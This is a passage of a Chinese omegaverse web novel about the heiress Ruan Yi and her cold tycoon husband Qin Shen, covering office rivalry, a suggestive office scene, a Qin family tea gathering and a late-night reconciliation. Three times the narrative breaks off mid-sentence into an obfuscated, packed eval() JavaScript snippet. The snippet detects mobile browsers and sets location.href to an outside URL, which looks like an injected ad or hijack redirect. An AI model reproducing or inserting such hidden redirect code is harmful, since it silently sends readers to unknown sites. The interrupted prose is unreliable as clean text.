阮宜杏眼睁圆了:“谁怕她呀。” 虽然,最开始来启明是她和家里较劲。当时阮宜留学回来后,两家便筹谋起婚姻大事,阮宜性子别扭得很,可是又不能随便悔婚。 正好秦深那会儿远赴澳洲开拓市场,阮宜便借着名义拖结婚日期,暂时留在了京市。 反正闲着也没事,索性在熟人的介绍下,在京市投简历找了份工作。只是没想到,等到婚后才知道启明也是秦氏君庭的下属公司。 只能怪未婚夫的生意做得太大…… 结婚后阮宜也没离职,继续留在启明,工作也更认真了。 所以,她可是正儿八经面试进的启明、靠实力当的副总监。 来硬的,甄妮也开不了她。 来软的,甄妮敢走后门让她被开,她就转头去找秦深告状“你老婆被开了”。 事实证明,阮宜想得不错,甄妮确实没法开了她。 但是和小唐想的一样,给她使点绊子还是可以的。 下午孙经理和琳达开会回来,众人才知道大老板居然来了。 君庭的核心业务一直在风投,再次之便是科技,启明珠宝更像是君庭为了拓宽时尚业务而创立的。大老板纡尊降贵来一次,绝对是不多见。 大家都好奇得很,瞬间热火朝天地讨论起来。 “好了,都静静。”孙经理是个肥头大耳的中年alpha,阮宜一直不怎么喜欢他。 他咳了两声,开口:“大家也都听说过秦总的作风,所以废话我也不多说了。接下来有个综艺要来设计部拍摄,各位都辛苦一下,打出我们设计部的名声。” 孙经理走了后,琳达才和大家详细解释。苹果台最近在拍摄一档综艺《职场人的日常》,因为这季以设计行业为主角,便选中了启明作为拍摄场地。 不过,既然是综艺节目也得有剧本,所以设计部申请了新的办公室给选手们。除了孙经理、琳达和甄妮作为导师会出镜,他们这些普通职员,多半没有出镜的机会。 尽管如此,第一次目睹综艺拍摄,大家还都挺激动的。 “这档节目我追了好久了诶!没想到在我们设计部拍!” “我在微博还看到过文月也要来诶,不过这次她可是当导师!” “不是说秦总一向行事低调嘛,居然同意了综艺拍摄?” “那当然了。”甄妮从外边走进来,得意道,“这就是秦总批准的。” 这档综艺的事情她早就知道,并且打好了自己的小算盘。眼看着孙经理快退休了,甄妮不甘心就这么被琳达压着,一直铆足了劲想上位。 听说文月这次综艺空降来当总监,甄妮特意打听过。据说文月家世不凡,还和秦总有些暧昧绯闻。 本来甄妮还有点不信,但眼看着综艺拍摄在即,难得一见的秦总又来了启明。 ——那肯定就是为文月来的。 想着这是个很好的上位机会,甄妮没有再多言,只是转过头对阮宜说:“阮宜,刚才我和孙经理说了。” 她笑吟吟:“既然你上午请假,那晚上就留下来加会儿班吧。” 本来请个假不算什么,只是撞上大老板难得来一趟。甄妮把状告到孙经理那儿,琳达不得不象征性地说了两句。 阮宜:“……” 都,怪,秦,深。 拒绝了小唐要留下来陪她的好意,阮宜嘟着嘴点了个外卖,准备晚上再走。 倒也不是害怕甄妮,主要是琳达一向照顾她,她不想让琳达难做。 秦深给她发了条消息,说晚上载她回去。 她阴阳怪气回了一句:不好意思,我这个小员工还得加班。 没再看他的消息,阮宜起身去取了自己的外卖。回来的时候,正好碰到穆阳站在设计部大门。 好在人都走得一干二净,没人知道总裁助理为什么出现在这儿。 看到阮宜的身影,穆阳连忙上来,尊敬道:“夫人,总裁让我来接您。” 阮宜哼了两声:“不去。” 末了,又阴阳怪气了句:“四舍五入,我可是在为君庭加班,怎么好意思偷懒呀。” 和夫人打交道的活儿都是烫手山芋。 穆阳汗都快下来了。 好在没让他难为多久,秦深那边已经等得耐心告罄,发了条简明扼要的消息: 上来。 他性子一贯冷淡如此,人情温度都是浮云。 阮宜只得哼了一声,把外卖扔给穆阳:“带路。” 进入总裁办的时候,秦深正在打商务电话。穆阳知情识趣,放下外卖就带上门走了。 秦深并非没听到他们进来的声音,只是瞥了一眼,就继续和电话那边的人讨论起来。 永远是一副公事为上的态度。 阮宜也没和他打招呼,她是第一次来启明的总裁办,但一点不见外,坐下就开始玩消消乐。 虽然看上去不情不愿被胁迫过来,但实际上悄悄竖起了两只小耳朵。 是全法语的交流,纯熟得不得了。阮宜曾在英国留学,只学了几句法语,听也听不懂。 听出来的只有这人声音确实好听。 法语发音本就浪漫,他又是低沉的声线,格外磁性。 连带着那身冷情的深色西装,都有种英伦的绅士味儿。 留学那会儿,也不是没有金发碧眼的外国人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从秦深俯视的视角,足以看到沿着雪白的脖颈,再到饱满的弧度若隐若现。 他舌尖抵唇,沉声道:“起来。” 发觉男人气息不对,阮宜连忙直起身来。见他还是神情淡淡,她反而先红了脸,嘟哝了两句。 现在一副正人君子的样子,好像昨天在床上把她睡裙弄坏的人……不是他似的。 拔,吊,无,情。 阮宜娇小姐脾气上来了,她转了个身,然后重新靠回秦深怀里。 毫不收敛地坐在了男人劲瘦的大腿上。 仰着一张玉白小脸,笑吟吟道:“秦总怎么不理我呢?” 说的是刚才她抱怨的事情。 秦深眸子冷沉,但难得没把她推下去。 阮宜更来了劲头,两段藕臂挽上他的脖颈,吐息如兰:“秦总?” 摆明了是仗着在办公室,他不会动她。 不知道她哪来的这个底气,秦深不怒反笑,唇角勾起一个弧度:“阮小姐想要什么?” 他这称呼一出,莫名真有种角色扮演的感觉。 高高在上的总裁,和美貌勾人的实习生。 阮宜仰头看向秦深,这个角度刚好对上他的下颌,以及一双微抿的薄唇。 他的唇形很薄,但是生得很好看。 都说薄唇的男人也薄情。 阮宜心跳了起来,像只猫儿似地撒娇:“亲我一下。” 秦深轻笑一声:“现在?” 阮宜毫不犹豫点头:“就在这儿呀。” 她说得轻软,但是心底却是有如擂鼓。 没有意识到,随着她的情绪波动,空气中已然带了丝甜味儿。 他们是豪门联姻,感情基础比纸还薄。按照常理,她这会儿索要珠宝包包,才是正常的要求。 可阮宜今天偏偏就想提这个。 秦深这人,平时总是清心寡欲的模样,唯独到了床上,才和昏君无异。 所以,她就是想勾他破了那层冰似的神情。 秦深仍是一副八风不动的模样。 低头看她眨着杏眼,又软又甜地撒娇。 阮宜生得是大家闺秀的模样,鹅蛋脸、杏眼、琼鼻。 端庄、美艳、清纯、娇纵这几种气质揉在一起,却融合得恰如其分。 秦深眸色沉了些许,掌心从她的腰际离开,慢慢抚至她细白的脖颈。 那里正贴着一张纤薄的阻隔贴。 男人语气平淡,似乎只是提醒, “阮小姐,你信息素外溢了。” 然后,不待阮宜反应过来,男人大掌便覆住她那双眸子。 随之而来,便是铺天盖地的吻。 信息素在空气中汹涌而来。 开始阮宜还很好玩似地亲亲,直至发现秦深并不是和她开玩笑,而是吻得凶狠而严密,没给她一点逃离的空间。 终于,从主动挑衅变成了小声抽泣。 秦深移开手掌的时候,刚才还明亮的杏眼已经红得带泪。 连带着雪白脖颈后的腺体,也被他抚肿了起来。 一副小可怜的模样,又格外引起男人的破坏欲。 所以秦深显然没打算放过她。他手臂一提,便轻轻巧巧端着她放在了书桌上。 随即,又强势地箍住她那不堪一握的腰。 那些价值千金的文件被扫落在地。 只余阮宜又嗲又娇的控诉:“去休息室呀……” 和男人不容置喙的语调。 “小宜,是你说的。” “就在这儿。” 4. 第4章 黑色的迈巴赫从地库驶出,尽管速度开得飞快,但底盘防震效果极佳,兼之司机技术高超,上路也十分平稳。 今日去见的人属于私事,所以穆阳并没有前来,而是老宅管家秦叔来开车。 坐在后座的秦深微微合着眼,神色淡漠。 净白的手指随意搭在平板上,指上的婚戒闪烁着淡淡的微芒。 男人面容沉静,并未因为旁边人翻来覆去的动作而有一丝波动。 暖气让车内的木质香薰散发得更为明显。 想到前几天她被抱回家时,也是浑身的乌木沉香气息,阮宜顿时气更不顺了。 “不是说了我喜欢玫瑰嘛!都给我换成玫瑰香薰!” 秦深神情淡淡:“好。” 半点没意见的态度,反而让阮宜更不爽了。 她剜了眼那边的男人,气呼呼道:“既然要见人,为什么不提前和我说呀?” 语气似乎很是愤懑,可是她声调婉转,听着只感觉如同娇贵的猫咪喵呜。 秦深仍然合着眼:“不是昨天说了吗?” “那,那能一样吗?”阮宜很是不满地嘟哝了一句,整了整刚才因为动作微皱的旗袍。 选用的布料是织锦缎,玉石色,参以金线绣的昙花,很合阮宜的口味。 尺寸也刚好,穿在她身上纤秾合度。 旗袍讲究的便是合身,虽然秦深是昨夜才给她的,但显然是早就订制的。 所以,阮宜鼓起软腮。 这更说明这人早就有这个打算了。 结果,直到昨晚她才被告知,今天要带她去见见秦家人。 虽然已经结婚半年,但阮宜对秦家的了解……和传闻听到的也差不了多少。 外界提起秦家,都是敬畏多过好奇。 即使是天子脚下,秦家的权势也是京市世家里首屈一指的。更让人畏惧的是,秦家人似乎是骨子里的冷血狠厉,甭管能力高低,都能厮杀个头破血流。 上一辈嫡系未能培养出顶级的alpha继承人,秦家在过去的几十年里差点被争权夺势的各支瓜分,闹得十分难看。 直到秦深在秦老爷子的支持下接手秦家,一上台便显出了难见的魄力和狠辣。送了好几位叔叔姑姑进监狱不说,亦有不少旁支的兄弟姐妹被迫远走国外,只为避开秦深的锋芒。 短短几年,便将秦家整肃一新,亦令京市为之震动。 因而,秦深与秦家人的关系也自然多是表面光景。 半年前阮宜和秦深的婚礼,虽然婚礼格外盛大,特意派出私人飞机,从海城迎娶阮宜至京市。 但当晚,阮宜和秦深却只是在老宅停驻一晚,第二天秦深便命人载她一同离开。 连着阮宜那日精心准备的敬酒服,秦深也只是点到为止地让她敬了两家的长辈便罢。 阮宜很是担忧:“一会儿我叫不上来怎么办?” 她托着两腮,显得格外乖软:“会不会很丢人。” 阮家虽然氏族不小,但家风严谨,亲戚往来只是平常。 像秦家这样的庞然大物,虽然知道秦深和秦家关系生疏,但是再生疏也是亲戚呀。 到时候认人,想想就让阮宜头痛。 她脾气娇纵却也分场合,这种需要显现长孙媳气势的时候,阮宜必然得撑起面子。 毕竟,阮家说是和秦家联姻,但在权势地位却是低了秦家一头。她不是不懂事的小孩子,既然享了家族给予的荣耀,也会承担应当承担的责任。 “不会。”秦深这才睁开了眸子,“他们会先叫你的。” 见他还是神情平淡,阮宜心里安慰了些许,但还是忍不住埋怨了句:“都怪你……当时婚礼上也不让我认人。” “敬酒服都没怎么穿,我特地准备的呢。” 说起来,倒也是件旗袍。鲜红的丝绒料子,绣的金线龙凤呈祥,光是制作便有一年时间。 阮宜看设计图的时候就很喜欢,既不失少女韵味,也很有主母风范。 秦深轻轻颔首:“你觉得可惜,那今晚穿就是。” 阮宜好奇:“穿给谁看?” 今晚还要见谁么? 秦深:“我。” 阮宜看他一脸云淡风轻的模样:“……” 她想起上次那件雾霾蓝小裙子,也惨遭秦深毒手。 临走出门,他不得不吩咐穆阳按着她的尺寸,马上让古家sa送来件裙子。 最后,她披着西装被秦深抱出来,浑身都是信息素的斑驳气味。尽管头也没抬埋在他怀里,但阮宜想都不用想,穆阳肯定什么都知道了。 好丢人呜呜呜呜…… 没容阮宜郁闷多久,车子便缓缓停了下来。 并不是她以为的老宅,反倒是一幢红瓦茶楼。 阮宜对茶楼还是很感兴趣的。泊车员前来引导停车,她兴致盎然地下车,跟着秦深往里走去。 迎上来的是个清瘦的中年男人,信息素虽有波动却并不明显,多半是个等级一般的alpha。眉宇和秦深有几分相似,神情却和一向冷漠的秦深不同,笑容格外的慈眉善目。 “沉之来了。”男人笑呵呵开口,“大家都到了,就等你了。” 话里带了些打趣似的埋怨,似乎只是长辈对于小辈的随口一说。 秦深却并没有承这份打趣,只是平淡道:“公事繁忙。” 那人被他噎了一下,却只是干笑两声,转头招呼阮宜。 “这就是小宜吧?我是二叔。” “二叔好。”阮宜朝他盈盈一笑,端的是大家闺秀的气度。 只是转向秦深问询的时候,好奇的模样才显出几分天真:“沉之,是你的字吗?” 秦深简洁“嗯”了一声,二叔秦严便接话过去:“沉之小时候身体不好,老爷子特地去庙里求了大师赐字,也是佑他平安。” 阮宜点了点头,转头看向大门处。 牌匾上是龙飞蛇舞的两个大字:一净。 她眼前一亮:“这字很好。” 阮老爷子是著名的国学大师,书画兼修。 阮宜写得一手簪花小楷,也对书法颇有见地,一眼就能看出这副行书写得极好。 “一念清净,烈焰成池。”她思考片刻,轻声问道,“是出自《菜根谭》么?” 这会儿秦严的脸上显出几分尴尬,并没有像刚才殷勤地解释。 反倒是秦深微微颔首:“不错。” 是很赞同的意思。 阮宜以为他也在称赞这幅字,顿时臭显摆爱比较的毛病上来了。 她转头附到秦深耳边,小声道:“我书法也很好的哦,不比这个人的差,回家写给你看。” 看上去只是提议,但其实杏眼亮晶晶地看着他 ——已经是“到时候你不夸本小姐你就死定了”的态度。 听闻阮家千金被家里宠上了天,却也没想过即便结婚后也仍是公主病,甚至还毫不忌讳地对着秦深撒娇耍脾气。 秦严暗忖不妙。 他这个堂侄,可从不是会对女人软了心肠的主儿。 今日请秦深前来本就有事相求,没想到他会带妻子前来。万一还没进门就让她惹得秦深心情不好,今天的局恐怕就没法谈了。 正当秦严打算说点什么的时候,秦深却是轻笑了声,极自然地摸了摸阮宜的小脑袋,浅浅应道:“好。” 阮宜这才满意地转过去,那张娇艳的面容看上去开心了些许。 秦严在旁边看得瞠目结舌。 心道莫不是英雄难过美人关。 这阮家大小姐的确是少见的顶级omega,艳若桃李,纤秾合度。 更难得的是,分明是妩媚到极致的五官,偏偏气质天然的清纯贵气。这样的美人儿,即便是使起性子来,也是情趣。 怪不得秦深一直不近女色,原来是眼界高,瞧不上其他俗物。 秦严笑了笑,十分热情地招呼:“往里走就是了,今儿一净关楼谢客,专门招待你们这对小夫妻。” 真的见到了秦家各色人等,阮宜才知道传闻并不是传闻,秦家果然是个极其庞大的家族。 也正如秦深所言,别说难为阮宜,谁见了她都是很殷切地自报家门。 当然,阮宜知道,这都是因为挽着她臂膀的人是秦深。 虽然并非不懂秦家在京市是顶尖儿的地位,而秦深更是秦家不容置喙的话事人。 但是真的目睹众人在秦深面前的恭顺畏惧,阮宜才领悟到他如同皇帝般的威势之深。 等到阮宜自个儿放开秦深的胳膊,单独去和女伴们聊天品茶时,明显感受到她周围的人都暗暗舒了一口气。 台上这会儿演的是《西厢记》,特意去江浙一带请的戏班子,阮宜看得很有兴致。 旁边的堂嫂唐君见她看得认真,暗自庆幸提前在阮宜身上下了功夫。 这次公公攒的局,丈夫还觉得阮宜于秦深不过是联姻妻子。反倒是唐君身为女人,直觉让她从阮宜这儿下手,说不定有什么意外收获。 只是秦深威势深重,她也并不敢当着阮宜多言什么,只能说哄好了这位大小姐,便能尽量拉近关系。 唐君拢了拢身上的貂皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114128|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很是温柔道:“小宜喜欢的话,到时候让戏班子再去你们那儿表演。” 阮宜想了想,也没推脱:“好呀,谢谢堂嫂。” 参局的人都是精挑细选,陪客多为已婚的Omega,以便和阮宜能搭上话。聊着聊着,便聊到信息素的话题上了。 打量着阮宜脖颈上那颗珍珠环绕的粉钻项链,有妇人很是惊讶地询问:“这颗粉钻莫不是前段时间拍出的那颗Graff?” 阮宜轻轻点头:“嗯,拿回来打了条阻隔项链。” 因为她总是忘带阻隔信息素的项链,秦深很是不高兴,索性把那颗刚拍卖的粉钻让人打成了阻隔项链。 阮宜对这颗粉钻正是兴头的时候,也就乐意多戴几回。 有年纪轻的omega已经开始倒吸冷气了。这么一颗昂贵的Graff粉钻,人家随意拿来做omega的阻隔项链。 有钱也不能是这么个用法啊! 唐君也不禁咋舌果然是大小姐,都是金尊玉贵养出来的啊。只是没想到,秦深竟然也肯这么娇惯着她。 她心念一转,含笑问道:“你们平时标记得还算顺利?” 秦深这种顶级alpha,本就积威甚重。一旦信息素释放,掌控欲和破坏力都是非一般的强大。 更不用说进入易感期的alpha,粗暴的掠夺欲会在此时飙升到极致。 作为顶级alpha的配偶,omega能够获得非一般的快感,却也容易受到更为强烈的伤害,比如可能患上信息素瘾症,成日离不开自己的alpha。 但唐君眼见着阮宜,对秦深虽有依赖,却不是生理本能的沉溺。周身虽有alpha信息素的气息,但并非是带着强烈警告意识的。 并不像一个被永久标记过的omega。 这种问题对已婚的ao来说,倒算是家常。但阮宜还是难免脸一红,含糊道:“还……还行吧。” 唐君心里有了计较。 只是不清楚他们没有完成永久标记的原因,到底会是什么。 …… 一旁的茶桌,秦深将望向那边的视线收回。 全然不曾掩饰并未在听旁边男人的热切交谈的意思。 他轻呷了口茶,略一停顿,开口:“那边的茶也是龙井?” 秦严被倏然打断,反应过来才连连点头:“西湖龙井。听闻小宜是南方人。” “换了。”秦深微微蹙眉,“让人换成熟普。” 阮宜这两天脾胃不好,喝不了这种性凉的茶。 他话语间并未点明是哪边、换谁的,但是秦严不用问也知道答案。 秦严招招手唤来茶艺师,低声嘱咐了几句什么。 片刻后,女宾那桌的茶,便被借着茶艺表演的名义,不动声色都换成了熟普。 秦深微微颔首。 他这二叔做事,倒也妥帖。 他轻敲手指,沉吟道:“过两天,让秦松来趟君庭吧。” 秦松是秦严的二子。 和方才的态度一样,依然是漫不经心。 却难得给了秦严希望。 秦严脸上堆起笑容,心里却有些哭笑不得。 显然,刚才他话里话外提的那些个投资和计划,对秦深而言,还没有把这盏茶换了来得有意义。 严格来说,应当是把阮宜照料好了,这件事才是关键。 秦严眯起眼,想着秦阮两家的这段联姻。 两人订婚那会儿,秦家上下都知道不过是为了基因匹配。毕竟,若不是匹配度为100%,像秦深这般的顶级alpha,绝不会随意接受一个omega配偶。 再兼之门当户对,秦家有权势,阮家有名声。 可谓是难得的各取所需的联姻。 甚至当初婚礼当天,秦深都未曾让阮宜认过秦家亲戚。当时众人还都以为,秦深果然打算让这段婚姻成个摆设。 进门那会儿阮宜连秦深的字都不知道,也让秦严以为,秦深没和这位娇小姐假戏真做。 只是细细想来,有时候掩饰未必就是不在意,兴许是真的在意才会保护。 不舍得让她去应付秦家那些人那些事。 连了解都怕污了她的耳朵。 秦严难得起了几分促狭的心思,话锋转到那边的阮宜:“从前听人说小宜脾气娇纵,这会儿见了,我倒觉得端庄得很。” “脾气娇纵也无妨。” 秦深抚着无名指间戒环的轮廓,不疾不缓地开口。 他并未否认,还带了些轻笑。 “让旁人多担待就是。” 5. 第5章 回去的路上下了场小雨,暖气热烘烘地吹着,冲淡了车厢里的凉意。 阮宜盖了个毛毯,像只猫儿似地倚在车窗上,看向外边的雨丝。 想起刚才的茶会,忍不住念叨了一句:“那会儿喝茶的时候,茶艺师说天气转凉,把龙井换成了熟普。” “还蛮贴心的嘛。” 旁边的男人半合着眼,没有作声,只是唇角浅淡带了丝笑意。 “不过,我还是最喜欢凤凰单枞。” 阮宜想起公司的茶水间,小鼻子蹙了蹙,带着点不满嘟哝道:“公司茶水间也没有我喜欢的茶。” 她扬起精致的下巴,很是不满地控诉秦深。 “人家茶艺师都这么体贴,而你……一点都不关心你老婆!” 虽然知道这种小事决然不会问过秦深,但阮宜的大小姐脾气又发作了。 把茶艺师的体贴和他对比,心里就有点不平衡。 难免忍不住地跟小猫似地咋呼两句。 只是她“拉踩”的话一出,车厢里的空气氛围顿时不太对劲。 明明是开足了暖气,甚至热得还熏人。可阮宜就是感觉,仿佛车窗渗进来几道雨丝,气温倏然降了好几度。 不是吧,迈巴赫质量这么差的嘛? 秦深睁开那双沉黑的眸子,方才还有的意动此时已然褪去。他不轻不重地敲了两下指节,似笑非笑道:“是么?” 阮宜这才意识到,原来温度降低可能是这人身上散发的寒气。 她底气稍有不足:“怎,怎么啦?还不能让我说你两句吗?” 回应她的只有男人喉间逸出来的一声冷笑。 阮宜:“……” 不知道她那句抱怨又怎么着他了,直到车停在华宫,车厢也还是死一般的寂静。 雨势已经停了,只是地面上还多少有些积水。 眼见着泊车员过来开车门,在回家之前,阮小公主决定主动示好一下。 她咬了咬唇,看向那边推开车门、长腿迈向地面的男人,轻咳一声道:“我允许你抱我上楼。” 秦深闻言,回头看向她。 阮宜正十分乖软地坐着,旗袍勾勒得她身姿窈窕,格外惹人怜爱。 一张玉白的小脸紧绷着,难掩主动示好的紧张。 男人眉心挑了挑,漫上几分无奈。 只是,就在他准备俯身的时刻,阮宜那张唇形饱满的小嘴又叭叭开口:“不是我示好啊,是你将功补过。” 一副天大地大面子最大的模样。 男人刚才还软化的神情又冷了下来,他居高临下地望着阮宜,冷笑一声开口。 “既然秦太太嫌我不够体贴,那就自行解决吧。” 话毕,他真的就转身走了。 留下阮宜在原地,反应过来之后,仿佛一只被踩到尾巴的小猫咪。 啊啊啊啊啊他居然拒绝了公主的示好!!! 秦深这个讨厌鬼!!! 她的JimmyChoo闪钻高跟不能沾水的不知道吗!!! 就在阮宜快要气成河豚的时候,一旁的秦叔叹口气,小声开口:“少夫人,其实刚才在宴会上,也是少爷吩咐的……” 他就在秦深旁边,全程看到了换茶的缘由。 听完秦叔这一通陈述,阮宜顿觉…… 有点不好意思。 结果,她还拿茶艺师的体贴来拉踩他。 阮宜鼓了鼓腮,最后连秦叔说要给她拿个红毯的提议都没应,火速上了楼。 芳姨正在打理花瓶,照例是今早空运来的花,只是从朱丽叶玫瑰换成了金色彼岸。 阮宜噔噔噔踩着高跟进来,扭捏两句问道:“秦深人呢?” 芳姨说一回来就上楼了,说是有个会议要开。 阮宜顿时耷拉下来,像一支快要凋谢的小玫瑰。 这下就很尴尬嘛…… 怎么那么刚好,回来就去书房开会哦。 她心里小鼓乱捶,猜想秦深是不是故意的。 阮宜嘟了嘟嘴,有点委屈。 其实她今天是有点找事,但也是有原因的。 今天二叔叫他的时候,她才知道他的字是“沉之”。 阮宜莫名就觉得不开心,好像她根本不了解他。 明明是豪门塑料夫妻,似乎不必有过多的了解。 联谊而已,感情都是不需要的东西。 但阮宜那一刻,就是觉得不开心了。 见她站在原地、一分钟换八百个表情,芳姨终于还是没忍住,问道:“小宜你要是找他的话,我去书房问一下?” 阮宜反射般地拒绝:“不要!” 刚才她主动“示好”被拒绝了,阮小公主拉不下这个脸再去敲书房的门。 但是等着他来道歉……先不说秦深这种冷血无情的资本家,能不能察觉到他老婆正在很不爽; 而且她什么也不做还等他来道歉,好像显得她脾气很大很公主病一样。 阮宜坚决不承认自己是一个不讲理的人。 她转念想了想,又道:“芳姨,帮我收拾一下我的书房。” 尽管当时装潢的时候,这栋别墅一切按照阮宜喜好的风格来。 但是到了秦深办公用的书房,那些美丽辉煌的墙纸窗帘壁画等等,通通都被他毫不留情地拒绝。 在这对夫妻之间平衡显然得用巧劲儿,于是设计师非常体贴地给阮宜单独设计了一间按她喜好来的书房。 奢华、典雅、完美适配公主殿下。 毕竟对于阮小公主来说,她又不需要处理什么公务,只是偶尔在书房里看看漫画追追剧什么的。 好在芳姨整理得当,她惯用的毛笔砚台宣纸还是一应俱全。 阮宜铺开一张宣纸,用狼毫洇开砚台的墨,思索着写点什么好。 以写代说,既要表现一点歉意,又要道歉得不那么明显——她只是送了秦深一幅字。 阮宜美滋滋想着,这个方法真是妙啊。 她可不是夸大,作为阮老的孙女,从小跟着他习得书画,她阮宜的字虽不说千金难买吧,但也不是轻易能求到的。 * 深夜,穆阳做完最后的会议总结,秦深才挂掉通讯,疲惫地捏了捏眉心。 风格简约的数字时钟停在11:36。 傍晚回来吵了一架,这一晚上她居然也没个动静。 秦深起身出了书房,走至主卧门口。 里面空荡荡的,半个人影都没有。 阮宜爱脸如爱生命,向来是坚决不熬夜的,十点之前必然要上床。 但是如今,主卧只有淡淡的玫瑰香薰气息,很明显佣人已经做过睡前准备了。 而应该睡在床上的人,却没有踪影。 秦深缓步下楼,看了一眼客厅,问道:“少夫人呢?” 芳姨正在准备明天的早餐,连忙说:“去了楼上书房,晚上那会儿让我给她收拾来着。” 一晚上了都没出来? 秦深略一蹙眉。 他轻敲了两声书房的门,雕花的黄花梨木发出沉闷的声响。 半晌过去,没人应声。 秦深推门进去,目光一扫室内,便看到小姑娘正倚在那张宽大的小叶紫檀椅上, 小小一只,侧身靠着椅背,底下是柔软的毛毯。 不算长的睡裙微微掩着粉嫩的膝盖,玉白的小脚似乎有些受冷,又往里蜷缩了一点。 阮宜呼吸绵长,睡得正香。 瓷白的小脸上还沾了些水痕或是墨痕。 看上去可怜又可爱。 秦深哂笑一声,捏了捏眉心。 算了,不过是个娇气的小姑娘,他怎么还和她较上劲了。 秦深慢慢走过去,俯身准备把阮宜抱回房间。 只是他俯身接近他,本就浅眠的阮宜便感受到了气息。 熟悉又微凉的alpha的乌木沉香味道。 她有些迷迷糊糊地睁开眼,见到男人一张俊脸。 不知道是不是因为阮宜还没睡醒,看得朦朦胧胧并不分明,她莫名觉得秦深此刻神情是鲜有的温柔。 心底压抑已久的委屈倏然便上来了。 “秦深……” 刚一开口,哭腔便流露出来了。 随之而来的,就是扑簌落下的眼泪。 见她小声抽泣的模样,秦深也没有打断,只是耐心地给她顺着背。 她背生得很漂亮,瘦削又白皙,隔着睡衣也能抚摸到纤细的脊骨。 隔着薄薄的一层睡裙,秦深大手的温度传向她的脊背。 随着温度的上升,氛围也暧昧了起来。 阮宜误解他的意思,心下更委屈了:“我都这样了……你,你还想……” 眼巴巴地瞧着他,眼眶通红,咬着唇不肯松口。 像只因为迷路而找不到自己洞穴的小兔子。 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114129|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深顿了顿,也没有解释,只是淡声道:“回房睡觉,好不好?” “我……我不要,”阮宜哭得上气不接下气,“你都不理我呜呜呜……” 不说还好,越说越委屈。 “我让你抱我上去,你都不抱我……” “回来了也去开会,不理我……” “你如果再这样……就,就离婚!” 阮宜小小一只陷在毛毯里,细声细气地开始数他的一桩桩大罪小罪。 秦深没有作声,只是等着她发泄完毕。唯独在提到“离婚”两字的时候,神情不易察觉地沉了几分。 “没有不理你,”他说,“是开会。” 秦深没有骗她,的确是有个重大项目突然出了问题。 “你是骗子,”阮宜发泄完毕,见他还是一副随自己指责的模样,心情好了许多,“虽然我误会了你,但是你也可以不理我。” 见她强调的小模样,秦深微微颔首。 “但我也不是不讲理的人。”批评了他一通,她又很乖觉地检讨自己,“我误会了你,所以我给你送礼道歉了。” 她往书桌那儿一指,秦深才看见桌上正放了一幅字。 上写四个大字:模范丈夫。 非常严肃又正经的隶书,俨然看不出来内容竟是这几个字。 秦深一时失笑。 阮宜还在不依不饶:“我是不是对你很好?我这一幅字可是很贵的哦。” 她这话也不完全是自我吹嘘,毕竟身为阮老的孙女,向她求墨宝的人自然不少。 秦深点头称是:“嗯。” “知道就好。”不知道是不是惦记的事结束了,阮宜的困意又涌了上来,“有这么好的老婆,你一定要珍惜……” 前方有秦深接着她,这次阮宜没有再靠向椅背,而是自觉地倒向了他的怀抱。 很是粘人地靠着秦深的肩膀,两段白臂紧紧搂着秦深的腰,被抱回主卧也没松开。 直到脸上沾了点水意,阮宜又才醒来。 意识到身处沐浴间的大理石台面,她还以为秦深又准备做什么,抱怨了几句:“今天不许,要惩罚你……” 秦深失笑,低声诱哄道:“洗漱一下,好不好?” 阮宜被他轻轻擦着脸颊,心里还在想着那副字,下意识就问了出来:“我的字你要挂起来哦!就像今天看到的那副匾额一样……” 她嘟哝了两句:“我的字是不是比那副匾额好看?” 其实那副匾额上的行书,力透纸背走势流畅,一看便知道此人造诣颇深。 她行书不如楷书,可是簪花小楷显得太认真,她不好意思写那四个字。 所以,最后就选了隶书。 虽然心里也不确定,但是阮宜还是恬不知耻地问了出来。 她就是想听听狗男人上不上道,会不会夸她。 好在秦深今晚很有觉悟,顿了顿还是点头:“嗯,你的最好看。” 被夸赞的阮宜立马尾巴就翘上了天。 开始细数她的书法珍贵,再到她这个人多么珍贵,再到“秦深你娶到我这么好的老婆你就应该感恩戴德才对”…… 直到她十分安逸地陷在柔软的大床里,腺体开始无意识地散发独属于omega的气息。 玫瑰信息素在空气里漂浮着,若有若无地勾着alpha。 秦深略一放松,释放了几缕信息素。 乌木沉香轻轻抚着阮宜的腺体,嗅到熟悉的信息素气息,她才睡得明显安神了许多。 比起方才对他张牙舞爪的肢体姿态,信息素的下意识显然更暴露了主人对男人信息素……或者说是对男人流露出的亲近感。 她宜就是这样一个娇气得不得了的小姑娘。 委屈了就要掉泪,不开心就必得要哄,需要时时刻刻的照顾和安抚。 可是高兴的时候,也是十足的黏人乖巧,让人不自觉地就会被她的明媚吸引。 只有从小泡在蜜罐子里娇养着长大,才会有这样烂漫又娇贵的性子。 似乎对所有人都是如此,理所当然地相信和依赖。 不设防,也不记仇。 甚至,似乎恩也不记得。 所以,才会不记得他的信息素气息,不记得他写的毛笔字。 不记得……他们认识过。 